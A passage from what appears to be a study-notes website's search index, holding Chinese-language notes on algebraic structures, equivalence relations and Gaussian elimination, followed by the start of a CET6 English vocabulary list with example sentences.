\u90fd\u6709\u9006\u5143,\u5219\u79f0\u4e4b\u4e3a\u9664\u73af. \u53e6\u5916,\u82e5 \u4e0a\u8ff0\u5b9a\u4e49\u4e2d \u25e6 \u8fd0\u7b97\u6ee1\u8db3\u4ea4\u6362\u5f8b,\u5219\u79f0\u4e3a\u4ea4\u6362\u73af.</p> <p>\u57df</p> <p>\u6211\u4eec\u79f0\u4ee3\u6570\u7cfb\u7edf \\(\u3008F : +, \u25e6\u3009\\) \u4e3a\u4e00\u4e2a\u57df,\u5982\u679c</p> <ol> <li>\\(\u3008F : +\u3009\\) \u662f\u4ea4\u6362\u7fa4,\u5176\u5355\u4f4d\u5143\u8bb0\u4f5c 0\uff1b</li> <li>\\(\u3008F^* : \u25e6\u3009\\) \u662f\u4ea4\u6362\u7fa4\uff1b\u5176\u4e2d\\(F^*\\)\u6307\\(F\\)\u53bb\u6389\\(+\\)\u7684\u5355\u4f4d\u5143</li> <li>\u8fd0\u7b97 \\(\u25e6\\) \u5bf9 \\(+\\) \u6ee1\u8db3\u5de6\u3001\u53f3\u5206\u914d\u5f8b,\u5373</li> </ol> <p>\\(a \u25e6 (b + c) = a \u25e6 b + a \u25e6 c\\)</p> <p>\\((b + c) \u25e6 a = b \u25e6 a + c \u25e6 a\\)</p> <p>\u6211\u4eec\u53ef\u4ee5\u7ed3\u5408\u4e00\u4e0b\u4ea4\u6362\u73af\u548c\u9664\u73af,\u5728\u73af\u4e2d\u5b9a\u4e49\u7684\\(\u3008R : \u25e6\u3009\\) \u662f\u5e7a\u534a\u7fa4\u5c31\u53d8\u6210\u4e86\u7fa4,\u6b64\u65f6,\u8fd9\u4e2a\u4ea4\u6362\u9664\u73af\u6ee1\u8db3\u6240\u6709\u57df\u7684\u8981\u6c42,\u4e5f\u5c31\u662f\u8bf4,\u4ea4\u6362\u9664\u73af\u5373\u4e3a\u57df\u3002</p> <p>\u5173\u4e8e\u6570\u57df,\u6211\u4eec\u6709\u5982\u4e0b\u4e24\u4e2a\u7ed3\u8bba\uff1a</p> <ol> <li>\u6570\u96c6 \\(F\\) \u5bf9\u6570\u7684\u52a0\u6cd5\u548c\u4e58\u6cd5\u6784\u6210\u6570\u57df\u7684\u5145\u8981\u6761\u4ef6\u4e3a\uff1a\\(F\\) \u5305\u542b 0,1 \u4e14\u5bf9\u6570\u7684\u52a0\u3001\u51cf\u3001 \u4e58\u3001\u9664\uff08\u9664\u6570\u4e0d\u4e3a 0\uff09\u8fd0\u7b97\u5c01\u95ed\uff1b</li> <li>\u4efb\u4f55\u6570\u57df\u90fd\u5305\u542b\u6709\u7406\u6570\u57df \\(\\mathbf{Q}\\),\u5373 \\(\\mathbf{Q}\\) \u662f\u6700\u5c0f\u7684\u6570\u57df.</li> </ol> <p>\u5f15\u5165\u4e86\u4ee3\u6570\u7ed3\u6784\u4e4b\u540e,\u6211\u4eec\u53ef\u4ee5\u628a\u5b83\u4eec\u6682\u4e14\u7406\u89e3\u4e3a\u4e00\u79cd\u6a21\u578b,\u5c31\u50cf\u6211\u4eec\u9ad8\u4e2d\u7ec3\u4e86\u5343\u767e\u9053\u9898\u76ee\u4e4b\u540e,\u63d0\u70bc\u51fa\u6765\u4e86\u4e00\u79cd\u666e\u904d\u7684\u505a\u6cd5,\u5728\u53d1\u73b0\u8bb8\u591a\u5177\u4f53\u7684\u4ee3\u6570\u7cfb\u7edf\u7684\u5171\u6027\u4e4b\u540e,\u6211\u4eec\u4e5f\u53ef\u4ee5\u628a\u5b83\u4eec\u6a21\u578b\u5316,\u800c\u4e0d\u5fc5\u91cd\u590d\u7814\u7a76\u540c\u6837\u7684\u4e1c\u897f\u4e86\u3002</p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/#_3","title":"\u7b49\u4ef7\u5173\u7cfb","text":"<p>\u6211\u4eec\u65f6\u5e38\u9700\u8981\u8ba8\u8bba\u96c6\u5408\u4e2d\u5143\u7d20\u4e4b\u95f4\u7684\u5173\u7cfb. \u4f8b\u5982\u76f4\u7ebf\u95f4\u7684\u5e73\u884c\u3001\u5782\u76f4\u3001\u76f8\u4ea4,\u6216\u662f\u6570\u4e4b\u95f4\u7684\u5927\u4e8e\u3001\u7b49\u4e8e\u3001\u5c0f\u4e8e\u5173\u7cfb.\u201c\u5173\u7cfb\u201d \u5c06\u4f1a\u591a\u6b21\u51fa\u73b0\u5728\u7ebf\u6027\u4ee3\u6570\u7684\u5b66\u4e60\u8fc7\u7a0b\u4e2d,\u56e0\u6b64\u6211\u4eec\u5f88\u6709\u5fc5\u8981\u5728\u6b64\u5f62\u5f0f\u5316\u5b9a\u4e49\u8fd9\u4e00\u6982\u5ff5,\u5e76\u5f3a\u8c03\u5176\u4e2d\u4e00\u7c7b\u7279\u5b9a\u7684\u5173\u7cfb\u2014\u2014\u7b49\u4ef7\u5173\u7cfb.</p> <p>\u4ece\u6700\u7b80\u5355\u7684\u4e8c\u5143\u5173\u7cfb\u5f00\u59cb,\u5728\u6b64\u4e4b\u524d,\u6709\u5fc5\u8981\u5f15\u5165\u96c6\u5408\u7684\u7b1b\u5361\u5c14\u79ef</p> <p>Info</p> <p>\u8bbe \\(A\\) \u548c \\(B\\) \u662f\u4e24\u4e2a\u975e\u7a7a\u96c6\u5408,\u6211\u4eec\u628a\u96c6\u5408   \\(A \u00d7 B = \\{(a, b) | a \u2208 A, b \u2208 B\\}\\)   \u79f0\u4e3a\u96c6\u5408 \\(A\\) \u548c \\(B\\) \u7684 \u7b1b\u5361\u5c14\u79ef.</p> <p>\u6211\u4eec\u719f\u6089\u7684\u5e73\u9762\u70b9\u96c6\u5c31\u662f\u4e00\u79cd\\(\\mathbf{R} \\times \\mathbf{R}\\)\u7684\u5177\u4f53\u8868\u793a,\u7a7a\u95f4\u70b9\u96c6\u5c31\u662f\u4e00\u79cd\\(\\mathbf{R} \\times \\mathbf{R} \\times \\mathbf{R}\\)\u7684\u5177\u4f53\u8868\u793a</p> <p>\u56de\u5230\u6211\u4eec\u7684\u4e8c\u5143\u5173\u7cfb\u4e2d,\u5728\u4eba\u7c7b\\(\\times\\)\u4eba\u7c7b\u8fd9\u4e2a\u7b1b\u5361\u5c14\u79ef\u4e0a,(\u8001\u5e08a,\u5b66\u751fb)\u8fd9\u4e00\u6709\u5e8f\u5bf9\u5b9a\u4e49\u4e86\u4e00\u79cd\u5e08\u751f\u5173\u7cfb,\u66f4\u89c4\u8303\u4e00\u70b9,\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u5199</p> \\[\\{(a,b)|a,b\\in Humans ,\\text{a is the teacher of b}\\}\\] <p>\u90a3\u4e48\u5c06\u4eba\u7c7b\\(\\times\\)\u4eba\u7c7b\u8fd9\u4e00\u96c6\u5408\u4e2d\u6240\u6709\u7684\u5e08\u751f\u653e\u5728\u4e00\u8d77,\u5c31\u6784\u6210\u4e86\u4eba\u7c7b\u4e2d\u7684\u5e08\u751f\u5173\u7cfb</p> <p>\u6211\u4eec\u628a\u4eba\u7c7b\\(\\times\\)\u4eba\u7c7b\u62bd\u8c61\u4e3a\u96c6\u5408\\(G \\times G\\),\u5c06\u5e08\u751f\u5173\u7cfb\u62bd\u8c61\u4e3a\\(R\\)\u8fd9\u4e00\u79cd\u5173\u7cfb\u3002\u5c31\u53ef\u4ee5\u7814\u7a76\u66f4\u591a\u5176\u5b83\u7684\u4e1c\u897f\u4e86\u3002</p> <p>\u63a5\u4e0b\u6765,\u6211\u4eec\u5148\u5f15\u51fa\u5173\u7cfb\u4e2d\u4e0d\u5f97\u4e0d\u8ba8\u8bba\u7684\u4ee5\u4e0b\u51e0\u4e2a\u6027\u8d28</p> <p>\u81ea\u53cd\u6027: \\(\\forall a \\in G,aRa\\),\u4e5f\u5c31\u662f\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u81ea\u5df1\u548c\u81ea\u5df1\u6ee1\u8db3\u8fd9\u79cd\u5173\u7cfb,\u663e\u7136\u5e08\u751f\u5173\u7cfb\u6ca1\u6709\u8fd9\u4e2a\u6027\u8d28,\u4f46\u662f\u5b9e\u6570\u4e0a\u7684\\(\\leqslant\\)\u6ee1\u8db3\u8fd9\u4e2a\u6027\u8d28</p> <p>\u5bf9\u79f0\u6027 \\(a R b \\Rightarrow b R a\\),\u4f8b\u5982\u5e73\u884c\u5173\u7cfb</p> <p>\u4f20\u9012\u6027 \\(a R b,b R c \\Rightarrow a R c\\),\u4f8b\u5982\\(\\leqslant\\)\u5173\u7cfb</p> <p>\u5b9a\u4e49</p> <p>\u504f\u5e8f\u5173\u7cfb:\u4ec5\u4e0d\u6ee1\u8db3\u5bf9\u79f0\u6027\u7684\u5173\u7cfb\u53eb\u504f\u5e8f\u5173\u7cfb,\u4f8b\u5982\u6574\u9664\u5173\u7cfb</p> <p>\u7b49\u4ef7\u5173\u7cfb:\u4ee5\u4e0a\u6027\u8d28\u5168\u90e8\u90fd\u6ee1\u8db3\u7684\u5173\u7cfb\u53eb\u505a\u7b49\u4ef7\u5173\u7cfb</p> <p>\u6709\u4e86\u7b49\u4ef7\u5173\u7cfb\\(R\\),\u6211\u4eec\u53ef\u4ee5\u7531\u8fd9\u4e2a\u5173\u7cfb\u5bf9\u96c6\u5408\u8fdb\u884c\u4e00\u4e9b\u5212\u5206</p> <p>Example</p> <p>\u6574\u6570\u57df\\(Z\\)\u4e0a,\u6a212\u540c\u4f59\u662f\u4e00\u79cd\u7b49\u4ef7\u5173\u7cfb,\u5728\u8fd9\u79cd\u5173\u7cfb\u4e0b,\u6211\u4eec\u53ef\u4ee5\u4e0d\u7528\u8003\u8651\u8fd9\u4e48\u591a\u65e0\u7a77\u65e0\u5c3d\u7684\u6570\u5b57,\u53ea\u9700\u8981\u8003\u8651\u4e24\u79cd\u5143\u7d20,\u6a212\u4f591\u7684\u5143\u7d20\u548c\u6a212\u4f590\u7684\u5143\u7d20,\u4e5f\u5c31\u662f\u6211\u4eec\u65e9\u5df2\u719f\u77e5\u7684:\u5947\u6570\u548c\u5076\u6570</p> <p>\u8fd9\u79cd\u5212\u5206\u5b9e\u5728\u662f\u6709\u6548,\u6211\u4eec\u53ef\u4ee5\u628a\u7b49\u4ef7\u7684\u5143\u7d20\u88c5\u5728\u4e00\u8d77,\u8d77\u540d\u4e3a\u7b49\u4ef7\u7c7b</p> <p>\u7b49\u4ef7\u7c7b</p> <p>\u82e5\\(R\\)\u662f\u96c6\u5408\\(G\\)\u4e0a\u7684\u4e00\u4e2a\u7b49\u4ef7\u5173\u7cfb,\u82e5\\(a,b \\in G,a R b\\),\u5219\u79f0\\(a,b\\)\u7b49\u4ef7,\u6240\u6709\\(G\\)\u4e2d\u4e0e\\(a\\)\u7b49\u4ef7\u7684\u5143\u7d20\u6784\u6210\u7684\u96c6\u5408\u53ef\u4ee5\u79f0\u4e3a\\(a\\)\u6240\u5728\u7684\u7b49\u4ef7\u7c7b {\\(b \\in A | bRa\\)},\u53ef\u4ee5\u8868\u793a\u4e3a \\(\\overline{a}\\)</p> <p>\u90a3\u4e48\u81ea\u7136\u60f3\u5230\u6574\u6570\u53ef\u4ee5\u5212\u5206\u4e3a{\\(\\overline{0},\\overline{1}\\)},\u5176\u5b9e\u4e0d\u53d60\u548c1,\u53d62\u548c3\u4e5f\u662f\u4e00\u6837\u7684,\u53ea\u9700\u8981\u53d6\u51fa\u8fd9\u4e2a\u7b49\u4ef7\u7c7b\u91cc\u9762\u7684\u4e00\u4e2a\u4ee3\u8868\u5143\u5c31\u53ef\u4ee5\u4e86.</p> <p>\u6700\u540e,\u6211\u4eec\u6765\u4e00\u70b9\u6b63\u5f0f\u7684\u5b9a\u4e49</p> <p>\u5206\u5212</p> <p>\u8bbe \\(R\\) \u662f\u96c6\u5408 \\(A\\) \u7684\u7b49\u4ef7\u5173\u7cfb,\u5219\u7531\u6240\u6709\u4e0d\u540c\u7684\u7b49\u4ef7\u7c7b\u6784\u6210\u7684\u5b50\u96c6\u65cf {\\(\\overline{a}\\)} \u662f \\(A\\) \u7684\u5206\u5212.   \u53cd\u4e4b,\u6211\u4eec\u4e5f\u53ef\u4ee5\u57fa\u4e8e\u5206\u5212\u5728 \\(A\\) \u4e2d\u5b9a\u4e49\u7b49\u4ef7\u5173\u7cfb.</p> <p>\u5546\u96c6</p> <p>\u8bbe \\(R\\) \u662f\u96c6\u5408 \\(A\\) \u7684\u7b49\u4ef7\u5173\u7cfb,\u4ee5\u5173\u4e8e \\(R\\) \u7684\u7b49\u4ef7\u7c7b\u4e3a\u5143\u7d20\u7684\u96c6\u5408\uff08\u5b9e\u9645\u4e0a\u662f\u96c6\u5408\u6784\u6210   \u7684\u96c6\u5408,\u53c8\u79f0\u96c6\u65cf\uff09{\\(\\overline{a}\\)} \u79f0\u4e3a \\(A\\) \u5bf9 \\(R\\) \u7684\u5546\u96c6,\u8bb0\u4e3a \\(A/R\\). \u7531   \\(\\pi(a) = a, \\forall a \u2208 A\\)   \u5b9a\u4e49\u7684 \\(A\\) \u5230 \\(A/R\\) \u4e0a\u7684\u6620\u5c04 \\(\\pi\\) \u79f0\u4e3a \\(A\\) \u5230 \\(A/R\\) \u4e0a\u7684\u81ea\u7136\u6620\u5c04.</p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/#_4","title":"\u9ad8\u65af\u6d88\u5143\u6cd5","text":"<p>\u4e0d\u5c31\u662f\u52a0\u52a0\u51cf\u51cf,\u6709\u4ec0\u4e48\u597d\u5355\u72ec\u62ff\u51fa\u6765\u8bf4\u7684\u5462(\u7b49\u4f60\u8003\u8bd5\u89e3\u9519\u8fd9\u4e2a\u9001\u5206\u9898\u5c31\u8001\u5b9e\u4e86)</p> <p>\u4e00\u822c\u7684,\u5bf9\u4e8e\u4e00\u4e2a\u7531 \\(m\\) \u4e2a\u65b9\u7a0b\u7ec4\u6210\u7684 \\(n\\) \u5143\uff08\u5373\u53d8\u91cf\u6570\u4e3a \\(n\\)\uff09\u7ebf\u6027\u65b9\u7a0b\u7ec4</p> \\[\\begin{cases} \\begin{aligned}a_{11}x_1+a_{12}x_2+\\cdots+a_{1n}x_n &amp; = b_1\\\\ a_{21}x_1+a_{22}x_2+\\cdots+a_{2n}x_n &amp;=b_2\\\\ &amp;\\vdots\\\\ a_{m1}x_1+a_{m2}x_2+\\cdots+a_{mn}x_n &amp; = b_m\\end{aligned}\\end{cases}\\] <p>\u5c06\u5176\u7cfb\u6570\u6392\u5217\u6210\u77e9\u9635</p> \\[\\begin{pmatrix}a_{11} &amp; a_{12} &amp; \\cdots &amp; a_{1n} \\\\ a_{21} &amp; a_{22} &amp; \\cdots &amp; a_{2n} \\\\ \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\ a_{m1} &amp; a_{m2} \\cdots &amp;a_{mn}\\end{pmatrix}\\] <p>\u4e14\u8bb0\\(\\vec{b}=(b_1,b_2,\\ldots,b_m)^\\mathrm{T}\\),\u82e5 \\(\\vec{b}=\\vec{0}\\) \u5219\u79f0\u6b64\u65b9\u7a0b\u4e3a\u9f50\u6b21\u7ebf\u6027\u65b9\u7a0b\u7ec4,\u5426\u5219\u4e3a\u975e\u9f50\u6b21\u7ebf\u6027\u65b9\u7a0b\u7ec4. \u518d\u5c06\\(n\\)\u4e2a\u672a\u77e5\u91cf\u8bb0\u4e3a\\(n\\)\u5143\u5217\u5411\u91cf\\(X=(x_1,x_2,\\ldots,x_n)^\\mathrm{T}\\),\u6211\u4eec\u4fbf\u53ef\u4ee5\u628a\u65b9\u7a0b\u7ec4\u7b80\u8bb0\u4e3a\\(AX=\\vec{b}\\).</p> <p>Info</p> <p>T\u4ee3\u8868\u8f6c\u7f6e,\u4e5f\u5c31\u662f\u8981\u7ad6\u7740\u5199</p> <p>\u4ee4\\(\\vec{\\beta}_i=(a_{1i},a_{2i},\\ldots,a_{mi})^\\mathrm{T}\\),\u5373\u65b9\u7a0b\u7ec4\u7cfb\u6570\u77e9\u9635\u7684\u67d0\u4e00\u5217,\u5219\u65b9\u7a0b\u7ec4\u8fd8\u53ef\u4ee5\u8bb0\u4e3a\\(x_1\\vec{\\beta}_1+x_2\\vec{\\beta}_2+\\cdots+x_n\\vec{\\beta}_n=\\vec{b}\\),\u8fd9\u4e00\u5f62\u5f0f\u5c06\u5728\u4e4b\u540e\u591a\u6b21\u89c1\u5230.</p> <p>\u5728\u4ee5\u4e0a\u7684\u8bb0\u53f7\u4e0b,\u6211\u4eec\u53ef\u4ee5\u5c06\u89e3\u7ebf\u6027\u65b9\u7a0b\u7ec4\u7684\u8fc7\u7a0b\u8f6c\u5316\u4e3a\u77e9\u9635\u7684\u521d\u7b49\u884c\u53d8\u6362. \u9ad8\u65af\u6d88\u5143\u6cd5\u7684\u4e00\u822c\u6b65\u9aa4\u5982\u4e0b\uff1a</p> <p>\u7ebf\u6027\u65b9\u7a0b\u7ec4\\(\\overset{1}{\\longrightarrow}\\)\u589e\u5e7f\u77e9\u9635\\(\\overset{2}{\\longrightarrow}\\)\u9636\u68af\u77e9\u9635\\(\\overset{3}{\\longrightarrow}\\)\uff08\u884c\uff09\u7b80\u5316\u9636\u68af\u77e9\u9635\\(\\overset{4}{\\longrightarrow}\\)\u89e3</p> <ul> <li>\u6b65\u9aa4\u4e00:\u628a\u77e9\u9635\u5199\u4e3a\\((A,b)\\)\u7684\u5f62\u5f0f\u5373\u53ef\u3002</li> <li>\u6b65\u9aa4\u4e8c:\u4ece\u7b2c\u4e00\u884c\u5f00\u59cb,\u7b2c\u4e00\u6b21\u7528\u7b2c\u4e00\u884c\u6d88\u53bb\u4e0b\u9762\u51e0\u884c\u7684\u7b2c\u4e00\u4e2a\u5143\u7d20,\u7b2c\u4e8c\u6b21\u7528\u7b2c\u4e8c\u884c\u6d88\u53bb\u4e0b\u9762\u51e0\u884c\u7684\u7b2c\u4e8c\u4e2a,\u4ee5\u6b64\u7c7b\u63a8,\u505a\u5230\u6700\u540e\u4e00\u884c\u53ea\u5269\u4e00\u4e2a\u3002</li> <li>\u6b65\u9aa4\u4e09:\u4ece\u6700\u540e\u4e00\u884c\u5f00\u59cb,\u6b64\u65f6\u6700\u540e\u4e00\u884c\u53ea\u5269\u6700\u540e\u4e00\u4e2a,\u7528\u6700\u540e\u4e00\u884c\u6d88\u53bb\u4e0a\u9762\u6240\u6709\u884c\u7684\u6700\u540e\u4e00\u4e2a(\u5982\u679c\u53ef\u80fd\u7684\u8bdd),\u8fd9\u6837\u5012\u6570\u7b2c\u4e8c\u884c\u53ea\u5269\u4e00\u4e2a,\u7ee7\u7eed\u505a\u4e0b\u53bb\u76f4\u5230\u6d88\u53bb\u4e0d\u4e86\u3002</li> <li>\u6b65\u9aa4\u56db:\u8fd9\u91cc\u6709\u4e09\u79cd\u60c5\u51b5<ul> <li>\u65e0\u89e3:\u5982\u679c\u51fa\u73b00=\u5e38\u6570\u7684\u60c5\u51b5,\u90a3\u5c31\u662f\u65e0\u89e3(\u4e0d\u662f\u5e38\u6570=0)</li> <li>\u552f\u4e00\u89e3:\u7b80\u5316\u9636\u68af\u77e9\u9635(\u7cfb\u6570\u77e9\u9635)\u662f\\(n\\times n\\)\u7684,\u4e14\u6ca1\u6709\u51680\u884c\u3002\u540e\u9762\u6211\u4eec\u76f4\u63a5\u53ef\u4ee5\u7528\u7cfb\u6570\u77e9\u9635\u53ef\u9006(\u884c\u5217\u5f0f\u4e0d\u4e3a0)\u6765\u76f4\u63a5\u5224\u65ad</li> <li>\u6709\u65e0\u7528\u7684\u77e9\u9635,\u4f53\u73b0\u4e3a\u7b80\u5316\u9636\u68af\u77e9\u9635\u6709\u51680\u884c,\u66f4\u4e00\u822c\u5730\u8bf4,\u6709\u6548\u65b9\u7a0b\u4e2a\u6570\u5c11\u4e8e\u672a\u77e5\u6570\u7684\u4e2a\u6570,\u8bbe\u51fa\u81ea\u7531\u672a\u77e5\u91cf\u5c06\u5176\u4ee4\u4e3a\\(k_1,k_2,\\ldots\\),\u7136\u540e\u4ee3\u5165\u589e\u5e7f\u77e9\u9635\u5bf9\u5e94\u7684\u65b9\u7a0b\u7ec4\u5373\u53ef</li> </ul> </li> </ul> <p>\u7d2f\u4e86,\u8fd9\u4e00\u90e8\u5206\u5c31\u5199\u8fd9\u4e48\u591a\u5427</p>"},{"location":"NOTE/Language/","title":"\u5916\u8bed\u5b66\u4e60","text":"<p> \u7ea6 28 \u4e2a\u5b57 </p> <p>\u8fd9\u91cc\u5b58\u653e\u4e00\u4e9b\u5916\u8bed\u5b66\u4e60\u7b14\u8bb0\uff0c\u867d\u7136\u76ee\u524d\u53ea\u6709\u82f1\u8bed\u3002</p> <ul> <li>\u5728\u7ebf\u7ec3\u4e60</li> </ul>"},{"location":"NOTE/Language/English/","title":"CET6 Words","text":"<p> \u7ea6 10076 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 35 \u5206\u949f</p>"},{"location":"NOTE/Language/English/#part-1","title":"PART 1","text":"<p>barren</p> <ul> <li>adj. <ul> <li>\u8d2b\u7620\u7684,\u4e0d\u6bdb\u7684\uff0c\u4e0d\u5b55\u4e0d\u80b2\u7684</li> <li>\u6ca1\u6709\u6548\u679c\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The barren land was a source of great frustration.</p> <p>\u8fd9\u7247\u8d2b\u7620\u7684\u571f\u5730\u8ba9\u6211\u611f\u5230\u975e\u5e38\u6cae\u4e27\u3002</p> <p>spot</p> <ul> <li>n.<ul> <li>\u6591\u70b9,\u6c61\u6e0d,\u810f\u70b9</li> <li>\u7c89\u523a\uff0c\u8113\u5305</li> <li>\u5730\u70b9\uff0c\u573a\u6240</li> <li>\u673a\u4f1a\uff0c\u65f6\u673a</li> <li>\u4e00\u70b9\uff0c\u4e00\u70b9\u513f</li> </ul> </li> <li>v.<ul> <li>\u770b\u89c1,\u6ce8\u610f\u5230,\u53d1\u73b0</li> </ul> </li> </ul> <p>Eg</p> <p>There was a spot on his face.</p> <p>\u4ed6\u8138\u4e0a\u6709\u4e00\u4e2a\u810f\u70b9\u3002</p> <p>bleak</p> <ul> <li>adj.<ul> <li>\u8352\u51c9\u7684, \u9634\u51b7\u7684</li> <li>\u6ca1\u6709\u5e0c\u671b\u7684, \u51c4\u51c9\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The landscape was bleak and desolate.</p> <p>\u666f\u8272\u8352\u51c9\u800c\u51c4\u51c9\u3002</p> <p>leak</p> <ul> <li>n.<ul> <li>\u6f0f\u6d1e, \u6f0f\u51fa, \u6cc4\u6f0f</li> <li>\u6f0f\u51fa\u7269, \u6f0f\u51fa\u91cf</li> </ul> </li> <li>v.<ul> <li>\u6f0f, \u6e17\u6f0f</li> <li>\u6cc4\u9732, \u900f\u9732</li> </ul> </li> </ul> <p>Eg</p> <p>There was a leak in the roof.</p> <p>\u5c4b\u9876\u6709\u4e2a\u6f0f\u6d1e\u3002</p> <p>The company tried to prevent any leaks of confidential information.</p> <p>\u516c\u53f8\u8bd5\u56fe\u9632\u6b62\u4efb\u4f55\u673a\u5bc6\u4fe1\u606f\u7684\u6cc4\u9732\u3002</p> <p>humid</p> <ul> <li>adj.<ul> <li>\u6f6e\u6e7f\u7684, \u6e7f\u6da6\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The air was humid and sticky.</p> <p>\u7a7a\u6c14\u6f6e\u6e7f\u800c\u7c98\u7a20\u3002</p> <p>hum\u5f53\u8bcd\u6839\u6709\u6ce5\u571f\u7684\u610f\u601d.humble\u53ef\u4ee5\u7406\u89e3\u4e3a\u8d34\u8fd1\u6ce5\u571f,\u6709\u8c26\u5351\u7684\u610f\u601d</p> <p>regulate</p> <ul> <li>v.<ul> <li>\u7ba1\u7406, \u63a7\u5236, \u8c03\u8282</li> <li>\u4f7f\u89c4\u5219\u5316, \u4f7f\u6709\u79e9\u5e8f</li> </ul> </li> </ul> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aregulation\uff0c\u6307\u89c4\u5219,\u6cd5\u89c4\uff0cragular\u4e3a\u89c4\u5219\u7684,\u6709\u89c4\u5f8b\u7684</p> <p>Eg</p> <p>The government regulates the financial industry to prevent fraud.</p> <p>\u653f\u5e9c\u7ba1\u7406\u91d1\u878d\u884c\u4e1a\u4ee5\u9632\u6b62\u6b3a\u8bc8\u3002</p> <p>The thermostat regulates the temperature in the house.</p> <p>\u6052\u6e29\u5668\u8c03\u8282\u623f\u5b50\u7684\u6e29\u5ea6\u3002</p> <p>summit</p> <ul> <li>n.<ul> <li>\u9876\u70b9, \u6700\u9ad8\u70b9</li> <li>\u5cf0\u4f1a, \u6700\u9ad8\u7ea7\u4f1a\u8bae</li> </ul> </li> </ul> <p>Eg</p> <p>They reached the summit of the mountain after a grueling climb.</p> <p>\u7ecf\u8fc7\u8270\u82e6\u7684\u6500\u767b\uff0c\u4ed6\u4eec\u5230\u8fbe\u4e86\u5c71\u9876\u3002</p> <p>The leaders met at the summit to discuss global issues.</p> <p>\u9886\u5bfc\u4eba\u5728\u5cf0\u4f1a\u4e0a\u4f1a\u9762\u8ba8\u8bba\u5168\u7403\u95ee\u9898\u3002</p> <p>mit\u5f53\u8bcd\u6839\u6709send\u7684\u610f\u601d,\u4f8b\u5982transmit\u4e3a\u4f20\u9012\u7684\u610f\u601d,submit\u4e3a\u63d0\u4ea4\u7684\u610f\u601d</p> <p>defend</p> <ul> <li>v.<ul> <li>\u9632\u5fa1, \u4fdd\u536b</li> <li>\u4e3a...\u8fa9\u62a4, \u7ef4\u62a4</li> </ul> </li> </ul> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adefense\uff0c\u6307\u9632\u5fa1, \u9632\u536b\uff0cdefender\u4e3a\u9632\u5fa1\u8005, \u8fa9\u62a4\u8005</p> <p>Eg</p> <p>The soldiers defended the castle from the invaders.</p> <p>\u58eb\u5175\u4eec\u4fdd\u536b\u57ce\u5821\u514d\u53d7\u5165\u4fb5\u8005\u7684\u653b\u51fb\u3002</p> <p>She defended her thesis during the oral examination.</p> <p>\u5979\u5728\u53e3\u8bd5\u4e2d\u4e3a\u5979\u7684\u8bba\u6587\u8fa9\u62a4\u3002</p> <p>fend\u5f53\u8bcd\u6839\u6709\u51fb\u6253\uff0c\u63a8\uff0c\u649e\u51fb\u7684\u610f\u601d,\u4f8b\u5982offend\u4e3a\u5192\u72af</p> <p>protest</p> <ul> <li> <p>v.</p> <ul> <li>\u6297\u8bae, \u53cd\u5bf9</li> <li>\u7533\u660e, \u58f0\u660e</li> </ul> </li> <li> <p>n.</p> <ul> <li>\u6297\u8bae, \u53cd\u5bf9</li> </ul> </li> </ul> Idea <p>protest\uff0c\u63d0\u524d\u8003\u8bd5\uff0c\u6709\u610f\u601d\u54c8\uff0c\u5fc5\u987b\u6297\u8bae\uff01\uff01\uff01</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aprotestation\uff0c\u6307\u6297\u8bae, \u58f0\u660e\uff0cprotester\u4e3a\u6297\u8bae\u8005, \u53cd\u5bf9\u8005</p> <p>Eg</p> <p>The workers protested against the unfair labor practices.</p> <p>\u5de5\u4eba\u4eec\u6297\u8bae\u4e0d\u516c\u5e73\u7684\u52b3\u52a8\u60ef\u4f8b\u3002</p> <p>She protested her innocence during the trial.</p> <p>\u5979\u5728\u5ba1\u5224\u671f\u95f4\u7533\u660e\u5979\u7684\u6e05\u767d\u3002</p> <p>detest \u4e3a\u618e\u6076\uff0c\u538c\u6076\u7684\u610f\u601d\uff0ccontest\u4e3a\u4e89\u8bba\uff0c\u7ade\u4e89\u7684\u610f\u601d</p> <p>sue</p> <ul> <li>v.<ul> <li>\u63a7\u544a, \u8d77\u8bc9</li> <li>\u8bf7\u6c42, \u6073\u6c42</li> </ul> </li> </ul> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3asuit\uff0c\u6307\u8bc9\u8bbc\uff0c\u8d77\u8bc9\uff0csuitor\u4e3a\u8d77\u8bc9\u8005, \u6c42\u5a5a\u8005</p> <p>Eg</p> <p>She decided to sue the company for wrongful termination.</p> <p>\u5979\u51b3\u5b9a\u8d77\u8bc9\u516c\u53f8\u975e\u6cd5\u89e3\u96c7\u3002</p> <p>He sued for peace after the long conflict.</p> <p>\u5728\u957f\u671f\u51b2\u7a81\u540e\uff0c\u4ed6\u8bf7\u6c42\u548c\u5e73\u3002</p> <p>pursue \u4e3a\u8ffd\u6c42\uff0c\u8ffd\u8d76\u7684\u610f\u601d\uff0censue\u4e3a\u63a5\u7740\u53d1\u751f\u7684\u610f\u601d</p> <p>versus</p> <ul> <li>prep.<ul> <li>\u5bf9\u6297, \u4e0e...\u76f8\u5bf9</li> </ul> </li> </ul> <p>Eg</p> <p>The upcoming match is Team A versus Team B.</p> <p>\u5373\u5c06\u5230\u6765\u7684\u6bd4\u8d5b\u662fA\u961f\u5bf9\u6297B\u961f\u3002</p> <p>The court case was plaintiff versus defendant.</p> <p>\u8fd9\u573a\u8bc9\u8bbc\u662f\u539f\u544a\u5bf9\u88ab\u544a\u3002</p> <p>\u5176\u7f29\u5199\u5f62\u5f0f\u4e3avs.\uff0c\u5e38\u7528\u4e8e\u4f53\u80b2\u6bd4\u8d5b\u548c\u6cd5\u5f8b\u6848\u4ef6\u4e2d\u3002</p> <p>compulsory</p> <ul> <li>adj.<ul> <li>\u5f3a\u5236\u7684, \u5fc5\u987b\u505a\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>Education is compulsory for children in many countries.</p> <p>\u5728\u8bb8\u591a\u56fd\u5bb6\uff0c\u6559\u80b2\u662f\u5f3a\u5236\u6027\u7684\u3002</p> <p>Wearing a seatbelt is compulsory in most 